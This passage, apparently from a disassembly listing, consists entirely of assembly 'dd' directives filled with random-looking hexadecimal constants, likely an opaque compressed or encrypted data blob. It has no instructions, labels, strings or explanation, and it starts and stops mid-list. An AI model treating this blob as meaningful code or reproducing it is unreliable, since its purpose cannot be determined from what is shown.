32FE8B7Bh, 0F50F34E9h, 6665F95Eh dd 0D7B88912h, 0AF82BFA4h, 0CCF45E6Eh, 0E934E77Ah, 5742BAB7h dd 0D721E5BDh, 4720DD14h, 10549753h, 0C9CD2E4Ch, 93F46AD1h dd 0CE2700DEh, 0D2C5FC20h, 8D3C3160h, 109852FDh, 945F0DC9h dd 0DCE2EEB2h, 37C6BD3h, 78F2E5D8h, 608BB012h, 28F8E67Ah dd 98C047BFh, 578D4943h, 47B03046h, 0E102E335h, 53BEA2E2h dd 25D75E68h, 0CCC0C44Dh, 5F1B7FBh, 0AE441AA4h, 0FCF60B9Bh dd 55CB9C4Dh, 316C53C8h, 152E0090h, 0FF49EF02h, 0C2B841E1h dd 60BE6F75h, 0C5EEA11Eh, 8AA13C4Bh, 0AAA1BC77h, 0FC207F4Ch dd 3DA16578h, 0D98190EBh, 745243CAh, 0D685D0B3h, 0C2DB8B4Bh dd 963A9A4Bh, 884EF3E9h, 340790E3h, 0C49262C6h, 0CCBC0F64h dd 0B841B996h, 3D670129h, 0A1AEEA46h, 0D6EB3CDEh, 7071B2h dd 209425FCh, 0C9E5A942h, 41C7EA02h, 760EEF58h, 8B55CB30h dd 5A905C90h, 47B1CD55h, 8CFA4083h, 747AE332h, 3B8AB558h dd 0BBF85A62h, 0BA1D2BBBh, 0E9F2DC00h, 1CDB8F6Eh, 672981DFh dd 0D50882DEh, 13B80125h, 2A375A94h, 5313781h, 0DAE82479h dd 0F5AF9403h, 0A468F275h, 0B58061E8h, 25910D92h, 0E5F79725h dd 25B01CE5h, 0F455FEh, 2C25843Eh, 3AF23F28h, 0A43D1654h dd 0E31A9D02h, 5E8F501Ch, 1646D4E4h, 5440CA0Bh, 93D9882h dd 7EA77D0Eh, 0B5DDA556h, 0A74C2534h, 0CE512F0Ah, 23AC602Ah dd 0ED027E3Ch, 0FFF5429Ah, 0DCA4FCE1h, 0F9CB234Bh, 4C053310h dd 0BAECC0F3h, 40E43Eh, 5532B6EEh, 0EFD6419Dh, 5323BC04h dd 0BEEFDFFh, 96DFEACCh, 52256994h, 0C2C76D7Dh, 2E96021h dd 8D558908h, 0E9A5549h, 0B8C4345Eh, 0BA45FA57h, 0E2B6605Fh dd 0B8A6AAE5h, 0FA52C975h, 0C1AD39D0h, 0B6AB06E0h, 0F95E02B5h dd 0D46E0CE8h, 9D016CD1h, 2E20908Fh, 0A1F0B5E4h, 9671ECABh dd 0C1F9273Fh, 0FDC7F311h, 0DEF2608Eh, 33FDC902h, 5FEA0CA4h dd 10D2E581h, 7E123A5Bh, 7FE6EBFh, 62CFF00Eh, 0A9A3EFF3h dd 0B9701813h, 0AC034B41h, 15BC464h, 0E912D110h, 0D6D4BD0Bh dd 0CEE38702h, 0D62A74B5h, 0F2261446h, 84D8138Dh, 0E017A6F7h dd 5DF1AA1h, 0E7806236h, 0E869E9A3h, 13FE259Dh, 528977C5h dd 0E0E460h, 0F72B8B5Ch, 0D1DFEB86h, 665EC818h, 550F61C8h dd 0AD2B1531h, 833A0575h, 0E3BF1FDAh, 0CA004B7Fh, 1DEDC3BBh dd 0A613977Eh, 0E3398DD1h, 4989B381h, 0F26EECEDh, 581FB513h dd 0BAB862A9h, 0D66F2700h, 0C0EAD87Dh, 0E8DE1186h, 28240205h dd 75A7EFC7h, 5BE19B62h, 5B74070Ch, 88D272B8h, 0D4390C72h dd 0DE5400A0h, 5DFA7D98h, 0FC5800A8h, 656D9BDDh, 1A9D2344h dd 0AAC1FDB4h, 2244308h, 0F33AF685h, 0C6809CF7h, 9D97C623h dd 0C398B41Ah, 7A03226Fh, 47620DBDh, 69D82F5Bh, 0FA5F5D04h dd 22A0AF8Ah, 95003C02h, 5185D46Fh, 4A1DBD03h, 9929BF16h dd 6BA9EA2Dh, 40DE56B5h, 8209F1D8h, 0BD764C7Fh, 7697BE50h dd 0B69BDC29h, 65DF9F80h, 2D42FD3Eh, 0C5FC7DA4h, 6108990Dh dd 8912887Bh, 0D9B788C4h, 762911D8h, 0F1FFD295h, 76238Ah dd 36679CE7h, 0E614697Ah, 0EA2201BFh, 4C9D8E62h, 0AE8D3FB4h dd 972F3D4h, 5F2C3520h, 0B544C4FDh, 0BAF3759h, 1BCB786h dd 1EAC7286h, 6143C4BBh, 426D1327h, 1B4FD784h, 2390E860h dd 2EB1C7h, 689846BBh, 320B9E34h, 548E0FDDh, 279B5009h dd 48663Ch, 1F1EE8CBh, 0C478A4h, 0B9DFC346h, 89A1D326h dd 0CB8AC0B7h, 22EC2565h, 99C1024Dh, 323AED67h, 0D2985092h dd 380712D7h, 0E06846DBh, 0D552201h, 27611060h, 9E4A413Eh dd 4A530568h, 0FEDD7697h, 0A40543F8h, 5CFA729Ch, 5D8D10C1h dd 0C68101EEh, 68E5CC6Ah, 37976171h, 873E0209h, 4FFD0EB7h dd 0B64C695Ah, 33E52B02h, 0DD17F1BDh, 5B708A1Ch, 1AB63FE1h dd 0E9F2FEF4h, 4FE9180Dh, 0F2B6361Fh, 937D59ABh, 0A826EB01h dd 1E9127C4h, 0A7D254ABh, 0D2AD9D97h, 466B55Dh, 0BBCE8630h dd 6C093B6Eh, 7E00A3C7h, 3C48B2EDh, 6AD4109Fh, 0DE020064h dd 0D584EEFEh, 18001080h, 0CD7813BDh, 9DBA6B39h, 8038BA14h dd 18A94B04h, 4F74FEBCh, 914C6801h, 504E6476h, 2400CF63h dd 0D3ADAE3Eh, 21000316h, 0B86C0DCFh, 3686B57h, 3A81DEEFh dd 23928D09h, 30976447h, 18C7BFBh, 0BF66A1E4h, 6B3A2CCEh dd 1C23FFh, 0A75B3616h, 0AF122057h, 75EEF041h, 0A79FF643h dd 3D97BB10h, 7CB00936h, 93D0918Ah, 6237CFB5h, 0CE5DBD49h dd 22D92230h, 75D7B725h, 0E900B23Dh, 482FA86Ah, 4A937517h dd 3F7D81BEh, 0A9A92B8Eh, 2E0092FCh, 2F75902Ah, 0BF6BA75Fh dd 275BB3D0h, 0AAB463A8h, 1709A16Ah, 5A51749Fh, 8BB8603h dd 6B29E8B8h, 0E7360A8Ah, 0AFC3E0D1h, 16F6B87Ch, 0C4CFD71Eh dd 0A571CCF8h, 500EFCB7h, 6C05F4E4h, 8A0F0171h, 35B21616h dd 8BAAE00h, 14823C81h, 2588450Eh, 6FF9365Bh, 28C15ACh dd 29606EC9h, 0C45C658Dh, 0B2524145h, 0FBCF65EBh, 762DD1C2h dd 0F5F9E96Bh, 58C899Dh, 0E1801917h, 8256E814h, 1A8A76E7h dd 10CB5DFh, 6BB72571h, 363308h, 1B8C1903h, 27B462Ch, 7A44F6A3h dd 75401E4Fh, 825DFCCh, 89A750Ch, 0D06289FFh, 0BCBDB56Fh dd 96EF712Fh, 0B97A6Ah, 5B28F816h, 952FEAE1h, 9AF82D62h dd 5431519Fh, 688E8700h, 4599C878h, 0D52E4AFBh, 407ABBA3h dd 0F82C0972h, 0D98B2B6Eh, 0BF96C020h, 9458805Eh, 0FC8A1E04h dd 9378AA6Bh, 0ED1D0AA0h, 0AD802298h, 796023CFh, 16E0B5F8h dd 56C5BD29h, 0D7C1ED7Fh, 2AE6ABEh, 0E18D898Bh, 991C5F33h dd 0B8B2344h, 0D9D2BF9h, 0FF501424h, 0C0FE0D95h, 585A9C03h dd 602EC99Ah, 2D118456h, 1B505B2Dh, 0B8036149h, 0CFE08C1Dh dd 0EC2AF200h, 0B96D6719h, 59D79004h, 0AC4B0D9Dh, 0CDEBF5D3h dd 0F1F66B0Ch, 55EF810Eh, 88F8A233h, 0F090A525h, 0AA16327Dh dd 9BF377Bh, 1D902AEh, 1808A1C2h, 0C31783BFh, 7BEA3FC2h dd 60984EE8h, 1EB10CD8h, 7DFE37E6h, 25E91240h, 0CA5AF0B5h dd 55300D2Fh, 1A14601Fh, 0B1D78033h, 0E6490F63h, 815601E7h dd 0ED8AF3C7h, 14BC7B35h, 3E6680D2h, 0D69F0136h, 509089D7h dd 0F1F3E47Dh, 0F56E0C21h, 0B17A2F67h, 3F0F203h, 7390DB9Bh dd 4414D163h, 27CBDF8Bh, 0DDAE09C5h, 0B6E47B4Dh, 0C068A92h dd 0E9209CE6h, 0DE8B2D19h, 2F6A6D4h, 0F68B7982h, 24C8107Ch dd 209D574Ch, 12BF314Fh, 3B3D27E0h, 0BB090952h, 0B790A72Dh dd 0D3B480C9h, 94328FCFh, 48BE876Ch, 14DF0681h, 104E687Eh dd 76B7FEF8h, 1952D4BBh, 29EA0036h, 0A92332CCh, 0B4B609BFh dd 4D5D5A47h, 8CC49A6h, 884DF802h, 56D1FFBDh, 0B100DC91h dd 3075A310h, 1332E673h, 0B260B3A5h, 539E893Ah, 0AB97D8AFh dd 0A4B25100h, 0BB872F2Dh, 8CE70545h, 0FB026A53h, 2509356Eh dd 967066F6h dd 4E451841h, 0F8D352ABh, 0B9F1307h, 0FFC0B8F8h, 7D4C7475h dd 0FCB18603h, 0B85A5EE4h, 0F0C3DD34h, 9D0B1290h, 7B70A109h dd 19B296F6h, 7307984Ch, 0D9DD1AAFh, 96E9F5C1h, 3FCACE6Eh dd 53192FA6h, 7AF7782Ch, 0A74E303Eh, 0A4E7D68Eh, 266509B6h dd 0FCF4F456h, 9D147E6Eh, 0CBF37DBAh, 9DF98C50h, 0D1697CD4h dd 107FA520h, 9CF8126h, 0BA26445h, 0D7AD64D9h, 4701D8B7h dd 0BCB3BF91h, 80E6346Fh, 0ADCA16C8h, 2860CE97h, 0B068A0Fh dd 20CD8501h, 2C61E577h, 0B200D6D2h, 0FC9B0645h, 1752C0B6h dd 10FF6A03h, 0BB5DD51Eh, 392CCC4Ch, 0D8CEBE83h, 9881B39h dd 0ED3D5485h, 3B3E0B0h, 0BF70E6EBh, 0FAFDBB21h, 532F5C89h dd 8033ACF4h, 0AB2F018Fh, 59880989h, 48DA4FACh, 2923EC61h dd 5FA6D195h, 212D3CA0h, 0E02500F1h, 7A7E6995h, 0F06E97BAh dd 0EE6B2D00h, 0A87FEFAFh, 0DE3005EAh, 82029D1Ch, 92F729B4h dd 5DA35DB8h, 63A43D95h, 0EB53848Dh, 0F0D1530Ch, 0E91140C9h dd 2288985Bh, 0FAA1A331h, 0CDF9904h, 1A5AA614h, 5E436595h dd 0BD0306F9h, 0E2BD7B19h, 0F81B5D91h, 5991212h, 17EE32BAh dd 695BB10h, 2D9D03BFh, 4D44972Ah, 228B5E53h, 0D765BA4h dd 0D9FBA96Fh, 4034110Ch, 0D4B19FFh, 0E29802E2h, 604BCE5Ah dd 4F047BCCh, 7741FBD5h, 2D358D03h, 9529E62Dh, 0F8B78986h dd 0D4091FDBh, 0FC305D61h, 0E704CD66h, 17CB314Eh, 2E50E113h dd 17C8C29Ah, 0D2B141CFh, 8A855658h, 13B95BFEh, 41C7A4A5h dd 0E1F51362h, 0DC4A5CFCh, 4CFC5A34h, 57DE00C9h, 720F7AB7h dd 7A6E20D6h, 2509A771h, 3E61F1B5h, 4F77C2B8h, 0E8C6564h dd 0A27398E3h, 0D98A12BFh, 19FC51EDh, 279D028Ch, 339AE408h dd 0B554E67Fh, 0EEE35FE1h, 25553341h, 2CDA6EE5h, 28C41488h dd 32256084h, 0BC2D64BBh, 0D7F39776h, 778A5731h, 592B3A5Fh dd 0B83CBF02h, 83530AF4h, 1B56470h, 0ACBFA4B4h, 0D6DA2375h dd 160204FFh, 22EC8EAEh, 14BF7642h, 0FE7EC082h, 0A91782DEh dd 4D575289h, 601D64CDh, 68050Ch, 55BBE9B9h, 0FF24E06Ch dd 189FE164h, 0D9AD38BAh, 5F7045Bh, 985B91A0h, 4FB8504Eh dd 0F1D781C0h, 1C058BFBh, 12B59509h, 4013E62h, 4BF550B6h dd 7122A18Ah, 6001EF9Ah, 0E86CD381h, 152F0CF3h, 60BC6A7Eh dd 7D8A4004h, 49C4CF64h, 4F4C50B8h, 0F3279912h, 163122Bh dd 0C113677Bh, 688AE53h, 5B5F2F56h, 155257Ch, 0F2C2FDBEh dd 336BC05Fh, 6AD4DA4Bh, 94059EBAh, 5EE70512h, 20AA90FBh dd 0B9FF2FFDh, 44870600h, 0CE52AC5h, 2BBE250h, 46E080Eh dd 1FDB905Fh, 0D154F670h, 1CAC583Ah, 0B8F0C109h, 40F3589Bh dd 7A046807h, 60F2AF86h, 0F20F8FC3h, 4090F557h, 0B200A909h dd 4DC0776Ch, 0EE08BFE0h, 7A840125h, 5E04378Fh, 56012B61h dd 0D6F7D85h, 84039B3Eh, 4EE27ACh, 112D1B1h, 8018D29h dd 0E674AF14h, 7DDAF8C9h, 0AC487F4Dh, 0E90545E0h, 23B9228h dd 0AD3ECB81h, 335E2548h, 0DAA0532Dh, 208B1256h, 2CF9FFh dd 5E34A819h, 9203BFAAh, 2291E05Fh, 5E8A97Ch, 5C736610h dd 0E281A82Fh, 5C00CA69h, 4653AF63h, 7C83D0DBh, 5EF0B86Fh dd 0E17F7016h, 9D016ACCh, 55EBA4F0h, 1C6B14DCh, 0FA8334F6h dd 3B664AD8h, 3E93EE81h, 4629EEF9h, 0C8A8E639h, 0C5A0AB00h dd 315D8BFEh, 3DF2B59Dh, 9842351h, 0B50485FBh, 29BE0369h dd 41B9FF31h, 8D986B02h, 8FD105DCh, 0BE58F924h, 10AD3B16h dd 0D65D2DBDh, 0BF502300h, 9752958Dh, 0BB456AAh, 167508A9h dd 0D4C99CF6h, 7797A503h, 10FD9285h, 761A0DFAh, 26719510h dd 0EAB66800h, 59B38CB4h, 490BCB92h, 0FB736A19h, 1AD572A2h dd 6FA5D0Fh, 0F6EA5C95h, 9D236C04h, 30122AA9h, 0B88E579Eh dd 71DB1901h, 984D0856h, 15071D3Ch, 1357508Bh, 24F5B52h dd 500346Fh, 68633CF0h, 31091DF7h, 5F2F2D95h, 189135B7h dd 7737F80h, 312E78BDh, 61456FB5h, 93E5EFA6h, 0BEE51943h dd 6A6F1A6Dh, 361101E7h, 0F71ED07Ch, 25BF1B70h, 147556DBh dd 0AD4A4AB1h, 9E6EC8Dh, 0ADE1549Dh, 8AF48409h, 9FB27AAFh dd 0D27858DBh, 0FF76253Ah, 95745AE7h, 700CB35h, 0C51083F8h dd 1AF3016Eh, 0FDB501D9h, 0FE8A0028h, 4DBD170Bh, 9A7AEF25h dd 1CCEF712h, 533281ADh, 2F21BD2Bh, 0B8A41CECh, 5FAA345Ch dd 5F89E509h, 972C0D1Eh, 1FF64B03h, 84ECF231h, 0AB3DBD09h dd 0F6F5C4E6h, 0F8460E9Dh, 35B05378h, 7B094111h, 0DF6173C2h dd 143D2338h, 0B3B72785h, 97B2CF12h, 62091700h, 56A39BEBh dd 0DFB23A00h, 0BE261A9Eh, 0A9AB0B8Fh, 547CCD7Ch, 0AF9DB5E9h dd 2600C9D0h, 0BFF67816h, 3F920FFBh, 89178021h, 5461BB96h dd 8EEC09DCh, 0E46807BAh, 6026DEFAh, 96619D50h, 3EFB79Dh dd 0F5239EC6h, 584567F9h, 21EC29DFh, 80B9034Fh, 0AC30D4B4h dd 6CBAD9B3h, 0FD8B172Eh, 44AEC14h, 0E826EC29h, 2790E393h dd 0D25F357h, 2099F1B5h, 44DC288h, 0DEBC7Eh, 6C2DFBB2h dd 33D18D29h, 0FAFB97h, 88801D65h, 0C5255A16h, 251AC5E0h dd 8809D962h, 8180A359h, 0E68F0BEBh, 0A6189723h, 0AAD4D88Bh dd 5FB15E9h, 9CDA96BDh, 90C017C8h, 0BDDA88F4h, 3453BD10h dd 30C2DB00h, 6735B366h, 0A7773BF9h, 0BF5D2400h, 1D18D34Dh dd 0B8E23990h, 5FCF8E00h, 0A9BE665Ah, 0B6617C9Eh, 0C4D64084h dd 6D04E194h, 814EF783h, 61CA0581h, 0BFC4D06Eh, 4250B69h dd 20966E01h, 6609272Dh, 7D32CABBh, 3849594Dh, 30DEF244h dd 0FA520DAEh, 0EB2580D6h, 1139C575h, 37C84B54h, 0B9570086h dd 326C5F6Eh, 374B5D03h, 0BBC0CFBCh, 1A72AAA8h, 803C5F49h dd 7D4DF781h, 0EA164E1Bh, 7DBF7Bh, 828A8F17h, 89377662h dd 0F729B6C9h, 0C3122796h, 44E390E0h, 0D1158758h, 0CF9C172Ch dd 17694C7Ah, 89824971h, 571CB185h, 0CB3BAB67h, 28EC22B9h dd 33227E01h, 0FEF11163h, 8AA6F93Ah, 1A09CFDFh, 0A4CFD7CEh dd 0D98F0242h, 14CE00E7h, 8A11BA21h, 0DB950DEAh, 181DD98Bh dd 2854BD02h, 0F701C1E8h, 0BEE9DFA9h, 0F664C46Eh, 0F2FBE5AFh dd 3E09003Fh, 5FBFF7B9h, 5E930AD1h, 0DE8FC18Bh, 29458305h dd 0F842119Dh, 5C5ADB80h, 81BF60A6h, 244E2F87h, 2B1D3EBBh dd 0C6029017h, 0C2221C35h, 5DADFD2h, 184A36B2h, 0B660A220h dd 0DA5153B3h, 0A102B907h, 0E81180AAh, 615F5BD4h, 0B7A04BE7h dd 0B604DD39h, 2E1F48A7h, 960DA7C3h, 0F97017F4h, 0F2A7E619h dd 73D95FF8h, 2ECB8004h, 6E4BCFB8h, 0D4A40E40h, 0C03FC1F8h dd 5E706C45h, 5001405Dh, 8CBA85E3h, 23BB5B92h, 1A84D102h dd 81AE0272h, 4AA84422h, 0A456B7DEh, 0FB09ECC3h, 0C94A48BCh dd 6CD49571h, 0D462DE52h, 0F79AF016h, 70AD8100h, 18B35BE2h dd 2709830Fh, 0F7078A60h, 3907C5BAh, 2ABB61B5h, 0DADF81FAh dd 837189F3h, 760F906Fh, 7E16390Ch, 319BD1FFh, 12633A85h dd 2AA9C2h, 784CBB52h, 9E5F1284h, 0F81816AFh, 207CE201h dd 20EA8160h, 13B63809h, 27505F5h, 58B88BADh, 0F84D7612h dd 88EE1617h, 0FB5B8BF0h, 0B5B9FB85h, 5409B5BCh, 0FFCBBF19h dd 0CCAD5435h, 0C7600E5Fh, 0E3B2E917h, 87A89D4h, 17DC2FCAh dd 0AE279CA7h, 771A3F09h, 0B8E0A14Dh, 0B755C4Eh, 9FF36953h dd 3A80D28Fh, 8531170Fh, 0F31D012Dh, 2094A83Eh, 905E1729h dd 7D7960C8h, 129D740Ah, 88035A3Ch, 3D006A19h, 0F765DE6Bh dd 0A50910h, 668C0E41h dd 883F3E97h, 8D505B26h, 490C1960h, 0C34C09B2h, 4C7D6F9Dh dd 49099582h, 0BD97B85Ah, 0EE138027h, 388ED747h, 0C6FD2725h dd 6AF93CCFh, 0DABF0F09h, 1B0B9DDCh, 752E822Eh, 677BDF33h dd 5FD8478h, 4D6D13C0h, 0BF08C12Bh, 157DE4FAh, 0F5D43197h dd 25E939A8h, 0D4C40D01h, 207BB841h, 97D6F9E2h, 1584AE1Dh dd 42875B4Eh, 0E18971E4h, 8C6F197Ah, 35C5CA34h, 42BEF88Bh dd 25C9851Fh, 5BEFD009h, 625E626h, 28B1BD01h, 355AB523h dd 34031C12h, 0CAC848BBh, 0F00873BFh, 440B4F3h, 81F5D18Bh dd 9121CD1Bh, 166588DBh, 870AF85Dh, 5F164C44h, 88134B19h dd 0FBA160B4h, 85B5F4C2h, 1C61A1CDh, 5DD2F02Fh, 0B38C2E4Bh dd 81B28B1Fh, 5095525Ch, 994E0BE4h, 0C866DF5Fh, 0CD058CF6h dd 39E97F86h, 0BBACAB24h, 7F8F4D8h, 9932D628h, 0DB03312Dh dd 4A1D11C7h, 0A442BFD9h, 0F4FA55C1h, 3BF7280h, 19B6F712h dd 0A413AEE6h, 0ACCCBA71h, 2BD300D0h, 0F66B47Fh, 0B5091432h dd 0ED6A8764h, 386AE358h, 4455A99Ah, 0D22B00D1h, 0FB1CBCFAh dd 31772F67h, 75A79904h, 34ABFE8Bh, 65B0AE05h, 495D00F5h dd 0CDDBD521h, 16ECD88Ah, 22EBD15Fh, 0FBDD5B6Ah, 0DE11960h dd 64C43AB9h, 0E33DE6ABh, 4A30A7F1h, 5E763347h, 0AD590B86h dd 2BB419F5h, 5AEB77E6h, 0E080A6BCh, 3E8A6A03h, 3581701Fh dd 0F571382h, 4A56328Bh, 6911D6F8h, 0DDE4652Dh, 0C02BF744h dd 0E394D7B8h, 4E1A3D10h, 0ED4AF4E3h, 25FFA403h, 0CE089B85h dd 70E749CEh, 856F95D3h, 9B838A44h, 5F9EB2C7h, 0CE84F910h dd 0F7F9E700h, 0FDBC11F4h, 68640BC8h, 6CFC30FEh, 804DBD49h dd 0C463B828h, 0F713E443h, 651E01F9h, 6983D1E5h, 2150E7D3h dd 20FE12D8h, 0BD7BE88Ch, 16D96A2Eh, 5988FCA2h, 239B1E6Bh dd 69A700A0h, 0DDA6CD3Fh, 0E5338D25h, 50731121h, 2FFB2D26h dd 11CE38A9h, 5DA9A410h, 292F6DB8h, 49977E89h, 0E1FF4882h dd 12DCA57Eh, 2F8DB9Ah, 98E9EB18h, 0EF0F157Bh, 28244523h dd 0E2D222ACh, 0B7E78F52h, 0FB87B39Eh, 64119686h, 906BD20h dd 2FF5B509h, 0CAC64C79h, 25279463h, 841D4DC5h, 0D0BADB2Dh dd 200C086h, 0F9D11EA2h, 1023C2A9h, 2F047D9Dh, 0C058CD60h dd 8D894DFAh, 4801AD31h, 132FDD8Ah, 0DB940293h, 0F375E180h dd 0D8987033h, 0C2E8FF00h, 0CF723B6Fh, 77BB0454h, 0BD01D4D9h dd 9D032297h, 0ED77F409h, 0E0944868h, 12E7E1CEh, 63952804h dd 74BC3F53h, 0B9E613D2h, 4748CCh, 1BF1B014h, 0E00ABF50h dd 0A7744FC1h, 0E7ABB54Eh, 0ECAF4DB3h, 0FB400BF7h, 2057579Bh dd 4E70684Ch, 1292F57Eh, 8F6FB0DAh, 64A0B512h, 0FAE0CFE6h dd 809809Dh, 8257C147h, 401790Bh, 3DE6EB5Fh, 0E2893F25h dd 6189CF75h, 20F820EAh, 1840D1ACh, 38A49E9h, 60378D4Bh dd 0C5BADC8h, 15F218B6h, 97525B30h, 0BD7FDB09h, 9F058105h dd 7F163012h, 0C84A48B9h, 0BA0A01AFh, 934AD1F1h, 1A520D17h dd 8216FC1h, 0E05ACA2Bh, 3987F8CBh, 0EB0225D6h, 689F94Fh dd 0F6E2006Dh, 0A184754Eh, 0D222BD2Ah, 465C0118h, 0DC27B404h dd 0C14FF49Fh, 2B15CF80h, 4496EC8h, 0BE1186DDh, 0C1F3AAC0h dd 2EE9DD4Eh, 0A2BE1E34h, 8C680407h, 74A3CBB6h, 0A2627600h dd 68FD1C3Eh, 1A52011Eh, 5A81860Ch, 0D4B52573h, 0EEE0A64Dh dd 972FBADFh, 8D291A00h, 0DB9507E1h, 8319FBFh, 9013134Dh dd 5B33E7B6h, 0AFECDEEBh, 0ACE9B21h, 0E462B726h, 610328E5h dd 1A05E929h, 21833D2Eh, 0AB447AE1h, 0F4AE8B60h, 94956178h dd 0A7405B52h, 0DEB9B092h, 0BD8712Bh, 0C8F7803Fh, 8A04E9D5h dd 72771F2h, 70C6AD33h, 1DD51B43h, 9589F01Ch, 5C5FBD72h dd 734B7760h, 4D6850B4h, 0C229F80Bh, 8740B766h, 397F9609h dd 14117DDEh, 0ADB1851Dh, 6270C7D6h, 9AEF9504h, 25898A43h dd 6DC70852h, 8F5F331Ah, 0DF05AB36h, 4D096596h, 0DE9D8979h dd 575BA5FFh, 8E181959h, 95B9C497h, 8651941Bh, 67DC6B72h dd 88504AF5h, 27EE44ABh, 992BC502h, 6A138F96h, 88D35D2Fh dd 0D9D2902h, 0F996551Eh, 4F8E6D9Dh, 342ECEBFh, 0BCD0CA22h dd 7B93C85Dh, 0AFC5D203h, 0D801097Bh, 3CE61594h, 4ED2E019h dd 860FB616h, 0BD848BADh, 0D66BAB43h, 0C4021723h, 5CA3A059h dd 0B501623Fh, 9D52707Dh, 86D4C1F6h, 0C5481E67h, 0C2339F16h dd 645BFDE1h, 0B9B71363h, 4588E657h, 8EDB2AFAh, 0B0674682h dd 52A2FB55h, 0AD003BF3h, 203243EAh, 0E8F42C30h, 65D6603Bh dd 221B0E7Fh, 0FA8D1923h, 56F562D8h, 0A9F86554h, 2F9E860h dd 0F5913D68h, 0D68B8F0Fh, 1C9F5FCh, 0E364D105h, 0A919D4h dd 0F3DDA422h, 6C4490B3h, 8B2DA172h, 54EF71F8h, 8276C702h dd 0FC50B316h, 4500554Bh, 0A4174325h, 86109FF0h, 47ECCB2Eh dd 826F7302h, 0E08DC415h, 8124CDA5h, 50197496h, 1FFB5B95h dd 0DEAD6EF9h, 7AB6260Eh, 0B10387E9h, 0F7EB3A94h, 1216484Bh dd 0EAAD17A5h, 38C1CBCh, 0FDA033B9h, 0ACC935C4h, 89E2898Eh dd 71F2560Dh, 0EBE72E21h, 79731901h, 7896B9BAh, 4767847Eh dd 503530BAh, 964DFB8Bh, 0D2BE120Fh, 81E92ABBh, 0A4975C90h dd 2A059245h, 0B7BB3995h, 0E85CA1AEh, 9D6E602Fh, 0CE952F2Dh dd 0B37E8804h, 6F2912DFh, 8BBFE298h, 0F671F69Fh, 0C9C66D00h dd 20D09E75h, 35A0486Eh, 206ABF4Bh, 0F4B7604Ah, 0F0B77D1h dd 826030BDh, 7D754DFDh, 31A5710h, 35A50500h, 80ACFCB9h dd 0F4A31F41h, 2E3600DDh, 0BD8B34C6h, 5A8922BFh, 0D9948261h dd 6435DD22h, 0EC961D11h, 824C8E99h, 571B05D1h, 1B64616Fh dd 1869D660h, 0F7E7EC04h, 0F48CB222h, 7A371E05h, 49FC5C70h dd 9D849E01h, 5A09BC61h, 80A376Eh, 0D655C18Bh, 0D793672Dh dd 0E6559D12h, 0B5459AEAh, 745A4F7Bh, 6977C1C7h, 3316D02Fh dd 0BCC4E0A2h, 0D4DB8005h, 30BA6050h, 47FE69A3h, 2F64A760h dd 0BD5E7470h, 4DA5FBDCh, 0F423C7C8h, 0BC4FE96Ah, 407C0146h dd 2B51E216h, 80EC7835h, 0FEF23BEFh, 8AB5009Ah, 0AF95FCD0h dd 5609FA2Ch, 8429D683h, 5F040914h, 0FBDBBF6Ah, 0CC9BFC1h dd 0C4FC3E19h, 8255ED4Eh, 834798Dh, 94B07D6h, 0D7F9F71Ah dd 2E7FDD9Dh, 89443F12h, 1CAE8A0Fh, 0B85B52EDh, 0E3D304EFh dd 8B200864h, 37B590FEh, 0CD6D0C36h, 8A8802A2h, 6FA7BFDEh dd 315B5BF8h, 125ED478h, 308722CAh, 0B4598017h, 57C9A802h dd 0DF781F02h, 5BCD8182h, 10CA6C77h, 0A42EE99Dh, 33DF09BEh dd 7EC65Dh, 0AD04281Bh, 0F195C641h, 0E6C1BA00h, 0D1FFA420h dd 0DB3497F5h, 9A70FDBBh, 0C66902ECh, 26AFD0Dh, 163437FDh dd 34AA46h, 358512BAh, 0C6A2AF3Dh, 2472FE90h, 0C9F9038Dh dd 910064F5h, 0C87DAC07h, 5A0311EFh, 0A6E99E04h, 0C967A2AEh dd 0DD482B55h, 3A7B0809h, 0A053070h, 49ED74B4h, 6E509E5h dd 91F0B75Dh, 3CE5801Ch, 711286h, 112B5DCFh, 5CFAD381h dd 911F7628h, 0B2F88C4Ah, 9ACDEEA4h, 0DEB4532Bh, 0B647CAD8h dd 0B1B8914h, 0F7B3C780h, 296E0315h, 0DFF80B96h, 0FDE0E99Bh dd 0E1259D33h, 6E6E5528h, 21BDB524h, 3B6B6A9Fh, 0E2EBE59h dd 0FB1709FBh, 0AA00AF7Ah, 9D2B6CE3h, 65B726F9h, 0CCFE1403h dd 3F02E996h, 313BC39Dh, 8B245990h, 0A93A5DF5h, 0A840C55Ch dd 952586Eh, 7E5CA94Bh, 0D12AB875h, 2B5F8110h, 24EFC688h dd 9BA1D3Fh, 395F0AE1h, 0D1368224h, 0BE74552Dh, 14B59561h dd 0BD102B0Ch, 56D8102Dh dd 0F8831735h, 0F4C4B7C8h, 0E9F914D1h, 0FB5E7C82h, 0D701FD56h dd 47554C50h, 1322AB28h, 16A778B5h, 0BA0E01BDh, 19B5A130h dd 0BF73C205h, 4ED7D6E8h, 0F8BB01A5h, 0E929CE24h, 31158B48h dd 0E8A97F9Dh, 64A5F559h, 293344E9h, 0CA218538h, 0C2D2AEE2h dd 59829571h, 98460FE8h, 918F8400h, 424EE637h, 0D07A0097h dd 80A9760Ch, 0D49D95F3h, 818CC12Fh, 15FC3B19h, 0B713AE5Bh dd 0E3F6FBAh, 96563A32h, 0AF00E8E2h, 0D25539FFh, 350042F4h dd 0B85F5A70h, 932FAD0h, 39585B51h, 0F884DB71h, 0FCACCBB9h dd 0F2F06032h, 0B09107Fh, 46D700CFh, 43BE92ACh, 0C3007BA6h dd 764888C2h, 25714AFDh, 6F765217h, 0DC71AEh, 6EA7ECD8h dd 0F33C607Dh, 458E8024h, 2827D508h, 0DFDB0161h, 2BF8FCA6h dd 0B8DE69C0h, 0FA210BD4h, 9674BAE9h, 457EEFCh, 0E946FC4Bh dd 6AE7400Eh, 375BE6h, 5ED52280h, 0CBA2D119h, 8ECAE5Ah dd 0DC8702BEh, 0E6068C2Eh, 6FD903EFh, 4ADB3C08h, 3EF773A8h dd 29D59F07h, 0D55BFF25h, 6C5F8419h, 75142529h, 3144DC32h dd 503ADC04h, 8B825D1Dh, 8028D13Dh, 0D0C381F9h, 54BAAA6h dd 1CC8D69Ah, 73EB5AC0h, 951004B3h, 0B80BA59Bh, 1623BBDAh dd 0AA05E604h, 0C264B8ABh, 0E2275BDh, 12950BD6h, 3AD9B2E9h dd 32605E6Eh, 71AA30D6h, 3EAF7709h, 440379F8h, 0AE7BAF78h dd 9D095B02h, 1F5E2DCDh, 0DDF8F9E2h, 14911135h, 0E1FFE982h dd 1F71B7D7h, 0C1FB6F7Dh, 1DCB8100h, 977F28E0h, 0A02F0894h dd 0D0B3F303h, 149737ACh, 209145FAh, 149753C3h, 